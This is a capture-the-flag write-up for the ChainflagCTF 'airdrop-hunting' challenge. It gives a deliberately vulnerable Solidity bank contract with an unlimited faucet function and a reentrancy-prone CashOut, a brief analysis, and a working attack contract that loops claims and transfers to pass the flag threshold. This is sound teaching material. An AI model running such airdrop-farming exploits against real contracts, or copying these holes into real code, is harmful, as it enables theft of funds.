03.airdrop-hunting @CoinFlip
2023-07-13 16:27:28 # 02.ChainflagCTF

airdrop-hunting(CoinFlip)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
pragma solidity ^0.4.24;

contract P_Bank{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;

event FLAG(string b64email, string slogan);

constructor(address _log) public {
TransferLog = Log(_log);
}

function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}

function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}

function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}


function Deposit() public payable {
if(msg.value > MinDeposit) {
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}

function CashOut(uint _am) public{
if(_am<=balances[msg.sender]){
if(msg.sender.call.value(_am)()){
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}

function() public payable{}

}

contract Log{

struct Message{
address Sender;
string Data;
uint Val;
uint Time;
}

string err = "CashOut";
Message[] public History;

Message LastMsg;

function AddMessage(address _adr,uint _val,string _data) public {
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}

analyses

The person who does not have money in P_Bank can call AP() to get 1 ETH. But the contract doesn’t record who has called it! It means that I can call AP() and get money, transfer it to others, get money ,transfer…….it is convenience for a contract to do it .

By the way, even if the contract records the users who have called AP(), we can still create many accounts to operate. Creating accounts in Ethereum is an easy task. This is called “撸空投” in Chinese.

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.4.24;

import "./03.CoinFlip.sol";

contract CoinFlipAttackAttack {
P_Bank c;

constructor(address _addr) public {
c = P_Bank(_addr);
}

function attack() public payable {
for (uint i = 0; i < 501; i++) {
c.Ap();
c.Transfer(msg.sender, 1 ether);
}
}
}

console output

https://moe.photo/images/2023/05/21/image-20230521144949607.png